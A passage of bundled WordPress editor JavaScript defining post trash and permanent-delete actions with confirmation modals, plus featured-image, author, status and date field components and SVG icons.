5648 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: items.length === 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
5649 // translators: %s: The item's title.
5650 (0,external_wp_i18n_namespaceObject.__)(
5651 'Are you sure you want to move "%s" to the trash?'
5652 ),
5653 getItemTitle(items[0])
5654 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5655 // translators: %d: The number of items (2 or more).
5656 (0,external_wp_i18n_namespaceObject._n)(
5657 "Are you sure you want to move %d item to the trash ?",
5658 "Are you sure you want to move %d items to the trash ?",
5659 items.length
5660 ),
5661 items.length
5662 ) }),
5663 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
5664 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5665 external_wp_components_namespaceObject.Button,
5666 {
5667 __next40pxDefaultSize: true,
5668 variant: "tertiary",
5669 onClick: closeModal,
5670 disabled: isBusy,
5671 accessibleWhenDisabled: true,
5672 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
5673 }
5674 ),
5675 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5676 external_wp_components_namespaceObject.Button,
5677 {
5678 __next40pxDefaultSize: true,
5679 variant: "primary",
5680 onClick: async () => {
5681 setIsBusy(true);
5682 const promiseResult = await Promise.allSettled(
5683 items.map(
5684 (item) => deleteEntityRecord(
5685 "postType",
5686 item.type,
5687 item.id.toString(),
5688 {},
5689 { throwOnError: true }
5690 )
5691 )
5692 );
5693 if (promiseResult.every(
5694 ({ status }) => status === "fulfilled"
5695 )) {
5696 let successMessage;
5697 if (promiseResult.length === 1) {
5698 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5699 /* translators: %s: The item's title. */
5700 (0,external_wp_i18n_namespaceObject.__)('"%s" moved to the trash.'),
5701 getItemTitle(items[0])
5702 );
5703 } else {
5704 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5705 /* translators: %d: The number of items. */
5706 (0,external_wp_i18n_namespaceObject._n)(
5707 "%d item moved to the trash.",
5708 "%d items moved to the trash.",
5709 items.length
5710 ),
5711 items.length
5712 );
5713 }
5714 createSuccessNotice(successMessage, {
5715 type: "snackbar",
5716 id: "move-to-trash-action"
5717 });
5718 } else {
5719 let errorMessage;
5720 if (promiseResult.length === 1) {
5721 const typedError = promiseResult[0];
5722 if (typedError.reason?.message) {
5723 errorMessage = typedError.reason.message;
5724 } else {
5725 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5726 "An error occurred while moving the item to the trash."
5727 );
5728 }
5729 } else {
5730 const errorMessages = /* @__PURE__ */ new Set();
5731 const failedPromises = promiseResult.filter(
5732 ({ status }) => status === "rejected"
5733 );
5734 for (const failedPromise of failedPromises) {
5735 const typedError = failedPromise;
5736 if (typedError.reason?.message) {
5737 errorMessages.add(
5738 typedError.reason.message
5739 );
5740 }
5741 }
5742 if (errorMessages.size === 0) {
5743 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5744 "An error occurred while moving the items to the trash."
5745 );
5746 } else if (errorMessages.size === 1) {
5747 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5748 /* translators: %s: an error message */
5749 (0,external_wp_i18n_namespaceObject.__)(
5750 "An error occurred while moving the item to the trash: %s"
5751 ),
5752 [...errorMessages][0]
5753 );
5754 } else {
5755 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5756 /* translators: %s: a list of comma separated error messages */
5757 (0,external_wp_i18n_namespaceObject.__)(
5758 "Some errors occurred while moving the items to the trash: %s"
5759 ),
5760 [...errorMessages].join(",")
5761 );
5762 }
5763 }
5764 createErrorNotice(errorMessage, {
5765 type: "snackbar"
5766 });
5767 }
5768 if (onActionPerformed) {
5769 onActionPerformed(items);
5770 }
5771 setIsBusy(false);
5772 closeModal?.();
5773 },
5774 isBusy,
5775 disabled: isBusy,
5776 accessibleWhenDisabled: true,
5777 children: (0,external_wp_i18n_namespaceObject._x)("Trash", "verb")
5778 }
5779 )
5780 ] })
5781 ] });
5782 }
5783};
5784var trash_post_default = trash_post_trashPost;
5785
5786
5787;// ./node_modules/@wordpress/fields/build-module/actions/permanently-delete-post.js
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798const permanentlyDeletePost = {
5799 id: "permanently-delete",
5800 label: (0,external_wp_i18n_namespaceObject.__)("Permanently delete"),
5801 supportsBulk: true,
5802 icon: trash_default,
5803 isEligible(item) {
5804 if (isTemplateOrTemplatePart(item) || item.type === "wp_block") {
5805 return false;
5806 }
5807 const { status, permissions } = item;
5808 return status === "trash" && permissions?.delete;
5809 },
5810 hideModalHeader: true,
5811 modalFocusOnMount: "firstContentElement",
5812 RenderModal: ({ items, closeModal, onActionPerformed }) => {
5813 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
5814 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
5815 const { deleteEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
5816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
5817 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
5818 // translators: %d: number of items to delete.
5819 (0,external_wp_i18n_namespaceObject._n)(
5820 "Are you sure you want to permanently delete %d item?",
5821 "Are you sure you want to permanently delete %d items?",
5822 items.length
5823 ),
5824 items.length
5825 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5826 // translators: %s: The post's title
5827 (0,external_wp_i18n_namespaceObject.__)(
5828 'Are you sure you want to permanently delete "%s"?'
5829 ),
5830 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(getItemTitle(items[0]))
5831 ) }),
5832 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
5833 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5834 external_wp_components_namespaceObject.Button,
5835 {
5836 variant: "tertiary",
5837 onClick: closeModal,
5838 disabled: isBusy,
5839 accessibleWhenDisabled: true,
5840 __next40pxDefaultSize: true,
5841 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
5842 }
5843 ),
5844 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5845 external_wp_components_namespaceObject.Button,
5846 {
5847 variant: "primary",
5848 onClick: async () => {
5849 setIsBusy(true);
5850 const promiseResult = await Promise.allSettled(
5851 items.map(
5852 (post) => deleteEntityRecord(
5853 "postType",
5854 post.type,
5855 post.id,
5856 { force: true },
5857 { throwOnError: true }
5858 )
5859 )
5860 );
5861 if (promiseResult.every(
5862 ({ status }) => status === "fulfilled"
5863 )) {
5864 let successMessage;
5865 if (promiseResult.length === 1) {
5866 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5867 /* translators: %s: The posts's title. */
5868 (0,external_wp_i18n_namespaceObject.__)('"%s" permanently deleted.'),
5869 getItemTitle(items[0])
5870 );
5871 } else {
5872 successMessage = (0,external_wp_i18n_namespaceObject.__)(
5873 "The items were permanently deleted."
5874 );
5875 }
5876 createSuccessNotice(successMessage, {
5877 type: "snackbar",
5878 id: "permanently-delete-post-action"
5879 });
5880 onActionPerformed?.(items);
5881 } else {
5882 let errorMessage;
5883 if (promiseResult.length === 1) {
5884 const typedError = promiseResult[0];
5885 if (typedError.reason?.message) {
5886 errorMessage = typedError.reason.message;
5887 } else {
5888 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5889 "An error occurred while permanently deleting the item."
5890 );
5891 }
5892 } else {
5893 const errorMessages = /* @__PURE__ */ new Set();
5894 const failedPromises = promiseResult.filter(
5895 ({ status }) => status === "rejected"
5896 );
5897 for (const failedPromise of failedPromises) {
5898 const typedError = failedPromise;
5899 if (typedError.reason?.message) {
5900 errorMessages.add(
5901 typedError.reason.message
5902 );
5903 }
5904 }
5905 if (errorMessages.size === 0) {
5906 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5907 "An error occurred while permanently deleting the items."
5908 );
5909 } else if (errorMessages.size === 1) {
5910 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5911 /* translators: %s: an error message */
5912 (0,external_wp_i18n_namespaceObject.__)(
5913 "An error occurred while permanently deleting the items: %s"
5914 ),
5915 [...errorMessages][0]
5916 );
5917 } else {
5918 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5919 /* translators: %s: a list of comma separated error messages */
5920 (0,external_wp_i18n_namespaceObject.__)(
5921 "Some errors occurred while permanently deleting the items: %s"
5922 ),
5923 [...errorMessages].join(",")
5924 );
5925 }
5926 }
5927 createErrorNotice(errorMessage, {
5928 type: "snackbar"
5929 });
5930 }
5931 setIsBusy(false);
5932 closeModal?.();
5933 },
5934 isBusy,
5935 disabled: isBusy,
5936 accessibleWhenDisabled: true,
5937 __next40pxDefaultSize: true,
5938 children: (0,external_wp_i18n_namespaceObject.__)("Delete permanently")
5939 }
5940 )
5941 ] })
5942 ] });
5943 }
5944};
5945var permanently_delete_post_default = permanentlyDeletePost;
5946
5947
5948;// external ["wp","mediaUtils"]
5949const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
5950;// ./node_modules/@wordpress/icons/build-module/library/line-solid.js
5951
5952
5953var line_solid_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 11.25h14v1.5H5z" }) });
5954
5955
5956;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/featured-image-edit.js
5957
5958
5959
5960
5961
5962
5963
5964
5965const FeaturedImageEdit = ({
5966 data,
5967 field,
5968 onChange
5969}) => {
5970 const { id } = field;
5971 const value = field.getValue({ item: data });
5972 const media = (0,external_wp_data_namespaceObject.useSelect)(
5973 (select) => {
5974 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
5975 return getEntityRecord("postType", "attachment", value);
5976 },
5977 [value]
5978 );
5979 const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(
5980 (newValue) => onChange({
5981 [id]: newValue
5982 }),
5983 [id, onChange]
5984 );
5985 const url = media?.source_url;
5986 const title = media?.title?.rendered;
5987 const ref = (0,external_wp_element_namespaceObject.useRef)(null);
5988 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("fieldset", { className: "fields-controls__featured-image", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "fields-controls__featured-image-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5989 external_wp_mediaUtils_namespaceObject.MediaUpload,
5990 {
5991 onSelect: (selectedMedia) => {
5992 onChangeControl(selectedMedia.id);
5993 },
5994 allowedTypes: ["image"],
5995 render: ({ open }) => {
5996 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5997 "div",
5998 {
5999 ref,
6000 role: "button",
6001 tabIndex: -1,
6002 onClick: () => {
6003 open();
6004 },
6005 onKeyDown: open,
6006 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
6007 external_wp_components_namespaceObject.__experimentalGrid,
6008 {
6009 rowGap: 0,
6010 columnGap: 8,
6011 templateColumns: "24px 1fr 24px",
6012 children: [
6013 url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
6014 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6015 "img",
6016 {
6017 className: "fields-controls__featured-image-image",
6018 alt: "",
6019 width: 24,
6020 height: 24,
6021 src: url
6022 }
6023 ),
6024 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__featured-image-title", children: title })
6025 ] }),
6026 !url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
6027 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6028 "span",
6029 {
6030 className: "fields-controls__featured-image-placeholder",
6031 style: {
6032 width: "24px",
6033 height: "24px"
6034 }
6035 }
6036 ),
6037 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__featured-image-title", children: (0,external_wp_i18n_namespaceObject.__)("Choose an image\u2026") })
6038 ] }),
6039 url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6040 external_wp_components_namespaceObject.Button,
6041 {
6042 size: "small",
6043 className: "fields-controls__featured-image-remove-button",
6044 icon: line_solid_default,
6045 onClick: (event) => {
6046 event.stopPropagation();
6047 onChangeControl(0);
6048 }
6049 }
6050 ) })
6051 ]
6052 }
6053 )
6054 }
6055 );
6056 }
6057 }
6058 ) }) });
6059};
6060
6061
6062;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/featured-image-view.js
6063
6064const FeaturedImageView = ({
6065 item,
6066 config
6067}) => {
6068 const media = item?._embedded?.["wp:featuredmedia"]?.[0];
6069 const url = media?.source_url;
6070 if (url) {
6071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6072 "img",
6073 {
6074 className: "fields-controls__featured-image-image",
6075 src: url,
6076 alt: "",
6077 srcSet: media?.media_details?.sizes ? Object.values(media.media_details.sizes).map(
6078 (size) => `${size.source_url} ${size.width}w`
6079 ).join(", ") : void 0,
6080 sizes: config?.sizes || "100vw"
6081 }
6082 );
6083 }
6084 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__featured-image-placeholder" });
6085};
6086
6087
6088;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/index.js
6089
6090
6091
6092const featuredImageField = {
6093 id: "featured_media",
6094 type: "media",
6095 label: (0,external_wp_i18n_namespaceObject.__)("Featured Image"),
6096 Edit: FeaturedImageEdit,
6097 render: FeaturedImageView,
6098 enableSorting: false,
6099 filterBy: false
6100};
6101var featured_image_default = featuredImageField;
6102
6103
6104;// ./node_modules/clsx/dist/clsx.mjs
6105function clsx_r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=clsx_r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=clsx_r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
6106;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
6107
6108
6109var comment_author_avatar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6110 external_wp_primitives_namespaceObject.Path,
6111 {
6112 fillRule: "evenodd",
6113 d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
6114 clipRule: "evenodd"
6115 }
6116) });
6117
6118
6119;// ./node_modules/@wordpress/fields/build-module/fields/author/author-view.js
6120
6121
6122
6123
6124
6125
6126function AuthorView({ item }) {
6127 const text = item?._embedded?.author?.[0]?.name;
6128 const imageUrl = item?._embedded?.author?.[0]?.avatar_urls?.[48];
6129 const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
6130 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: 0, children: [
6131 !!imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6132 "div",
6133 {
6134 className: dist_clsx("page-templates-author-field__avatar", {
6135 "is-loaded": isImageLoaded
6136 }),
6137 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6138 "img",
6139 {
6140 onLoad: () => setIsImageLoaded(true),
6141 alt: (0,external_wp_i18n_namespaceObject.__)("Author avatar"),
6142 src: imageUrl
6143 }
6144 )
6145 }
6146 ),
6147 !imageUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "page-templates-author-field__icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: comment_author_avatar_default }) }),
6148 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "page-templates-author-field__name", children: text })
6149 ] });
6150}
6151var author_view_default = AuthorView;
6152
6153
6154;// ./node_modules/@wordpress/fields/build-module/fields/author/index.js
6155
6156
6157
6158
6159const authorField = {
6160 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
6161 id: "author",
6162 type: "integer",
6163 getElements: async () => {
6164 const authors = await (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store).getEntityRecords(
6165 "root",
6166 "user",
6167 {
6168 per_page: -1
6169 }
6170 ) ?? [];
6171 return authors.map(({ id, name }) => ({
6172 value: id,
6173 label: name
6174 }));
6175 },
6176 render: author_view_default,
6177 sort: (a, b, direction) => {
6178 const nameA = a._embedded?.author?.[0]?.name || "";
6179 const nameB = b._embedded?.author?.[0]?.name || "";
6180 return direction === "asc" ? nameA.localeCompare(nameB) : nameB.localeCompare(nameA);
6181 },
6182 filterBy: {
6183 operators: ["isAny", "isNone"]
6184 }
6185};
6186var author_default = authorField;
6187
6188
6189;// ./node_modules/@wordpress/icons/build-module/library/drafts.js
6190
6191
6192var drafts_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6193 external_wp_primitives_namespaceObject.Path,
6194 {
6195 fillRule: "evenodd",
6196 clipRule: "evenodd",
6197 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"
6198 }
6199) });
6200
6201
6202;// ./node_modules/@wordpress/icons/build-module/library/scheduled.js
6203
6204
6205var scheduled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6206 external_wp_primitives_namespaceObject.Path,
6207 {
6208 fillRule: "evenodd",
6209 clipRule: "evenodd",
6210 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"
6211 }
6212) });
6213
6214
6215;// ./node_modules/@wordpress/icons/build-module/library/pending.js
6216
6217
6218var pending_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6219 external_wp_primitives_namespaceObject.Path,
6220 {
6221 fillRule: "evenodd",
6222 clipRule: "evenodd",
6223 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"
6224 }
6225) });
6226
6227
6228;// ./node_modules/@wordpress/icons/build-module/library/not-allowed.js
6229
6230
6231var not_allowed_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6232 external_wp_primitives_namespaceObject.Path,
6233 {
6234 fillRule: "evenodd",
6235 clipRule: "evenodd",
6236 d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"
6237 }
6238) });
6239
6240
6241;// ./node_modules/@wordpress/icons/build-module/library/published.js
6242
6243
6244var published_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6245 external_wp_primitives_namespaceObject.Path,
6246 {
6247 fillRule: "evenodd",
6248 clipRule: "evenodd",
6249 d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"
6250 }
6251) });
6252
6253
6254;// ./node_modules/@wordpress/fields/build-module/fields/status/status-elements.js
6255
6256
6257const STATUSES = [
6258 {
6259 value: "draft",
6260 label: (0,external_wp_i18n_namespaceObject.__)("Draft"),
6261 icon: drafts_default,
6262 description: (0,external_wp_i18n_namespaceObject.__)("Not ready to publish.")
6263 },
6264 {
6265 value: "future",
6266 label: (0,external_wp_i18n_namespaceObject.__)("Scheduled"),
6267 icon: scheduled_default,
6268 description: (0,external_wp_i18n_namespaceObject.__)("Publish automatically on a chosen date.")
6269 },
6270 {
6271 value: "pending",
6272 label: (0,external_wp_i18n_namespaceObject.__)("Pending Review"),
6273 icon: pending_default,
6274 description: (0,external_wp_i18n_namespaceObject.__)("Waiting for review before publishing.")
6275 },
6276 {
6277 value: "private",
6278 label: (0,external_wp_i18n_namespaceObject.__)("Private"),
6279 icon: not_allowed_default,
6280 description: (0,external_wp_i18n_namespaceObject.__)("Only visible to site admins and editors.")
6281 },
6282 {
6283 value: "publish",
6284 label: (0,external_wp_i18n_namespaceObject.__)("Published"),
6285 icon: published_default,
6286 description: (0,external_wp_i18n_namespaceObject.__)("Visible to everyone.")
6287 },
6288 { value: "trash", label: (0,external_wp_i18n_namespaceObject.__)("Trash"), icon: trash_default }
6289];
6290var status_elements_default = STATUSES;
6291
6292
6293;// ./node_modules/@wordpress/fields/build-module/fields/status/status-view.js
6294
6295
6296
6297function StatusView({ item }) {
6298 const status = status_elements_default.find(({ value }) => value === item.status);
6299 const label = status?.label || item.status;
6300 const icon = status?.icon;
6301 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", spacing: 0, children: [
6302 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-post-list__status-icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon }) }),
6303 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: label })
6304 ] });
6305}
6306var status_view_default = StatusView;
6307
6308
6309;// ./node_modules/@wordpress/fields/build-module/fields/status/index.js
6310
6311
6312
6313const OPERATOR_IS_ANY = "isAny";
6314const statusField = {
6315 label: (0,external_wp_i18n_namespaceObject.__)("Status"),
6316 id: "status",
6317 type: "text",
6318 elements: status_elements_default,
6319 render: status_view_default,
6320 Edit: "radio",
6321 enableSorting: false,
6322 filterBy: {
6323 operators: [OPERATOR_IS_ANY]
6324 }
6325};
6326var status_default = statusField;
6327
6328
6329;// ./node_modules/@wordpress/fields/build-module/fields/date/date-view.js
6330
6331
6332
6333
6334const getFormattedDate = (dateToDisplay) => (0,external_wp_date_namespaceObject.dateI18n)(
6335 (0,external_wp_date_namespaceObject.getSettings)().formats.datetimeAbbreviated,
6336 (0,external_wp_date_namespaceObject.getDate)(dateToDisplay)
6337);
6338const DateView = ({ item }) => {
6339 const isDraftOrPrivate = ["draft", "private"].includes(
6340 item.status ?? ""
6341 );
6342 if (isDraftOrPrivate) {
6343 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
6344 (0,external_wp_i18n_namespaceObject.sprintf)(
6345 /* translators: %s: page creation or modification date. */
6346 (0,external_wp_i18n_namespaceObject.__)("<span>Modified: <time>%s</time></span>"),
6347 getFormattedDate(item.date ?? null)
6348 ),
6349 {
6350 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
6351 time: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
6352 }
6353 );
6354 }
6355 const isScheduled = item.status === "future";
6356 if (isScheduled) {
6357 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
6358 (0,external_wp_i18n_namespaceObject.sprintf)(
6359 /* translators: %s: page creation date */
6360 (0,external_wp_i18n_namespaceObject.__)("<span>Scheduled: <time>%s</time></span>"),
6361 getFormattedDate(item.date ?? null)
6362 ),
6363 {
6364 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
6365 time: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
6366 }
6367 );
6368 }
6369 const isPublished = item.status === "publish";
6370 if (isPublished) {
6371 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
6372 (0,external_wp_i18n_namespaceObject.sprintf)(
6373 /* translators: %s: page creation time */
6374 (0,external_wp_i18n_namespaceObject.__)("<span>Published: <time>%s</time></span>"),
6375 getFormattedDate(item.date ?? null)
6376 ),
6377 {
6378 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
6379 time: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
6380 }
6381 );
6382 }
6383 const dateToDisplay = (0,external_wp_date_namespaceObject.getDate)(item.modified ?? null) > (0,external_wp_date_namespaceObject.getDate)(item.date ?? null) ? item.modified : item.date;
6384 const isPending = item.status === "pending";
6385 if (isPending) {
6386 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
6387 (0,external_wp_i18n_namespaceObject.sprintf)(
6388 /* translators: %s: page creation or modification date. */
6389 (0,external_wp_i18n_namespaceObject.__)("<span>Modified: <time>%s</time></span>"),
6390 getFormattedDate(dateToDisplay ?? null)
6391 ),
6392 {
6393 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
6394 time: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
6395 }
6396 );
6397 }
6398 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", { children: getFormattedDate(item.date ?? null) });
6399};
6400var date_view_default = DateView;
6401
6402
6403;// ./node_modules/@wordpress/fields/build-module/fields/date/index.js
6404
6405
6406const dateField = {
6407 id: "date",
6408 type: "datetime",
6409 label: (0,external_wp_i18n_namespaceObject.__)("Date"),
6410 render: date_view_default,
6411 filterBy: false
6412};
6413var date_default = dateField;
6414
6415
6416;// ./node_modules/@wordpress/icons/build-module/library/copy-small.js
6417
6418
6419var copy_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6420 external_wp_primitives_namespaceObject.Path,
6421 {
6422 fillRule: "evenodd",
6423 clipRule: "evenodd",
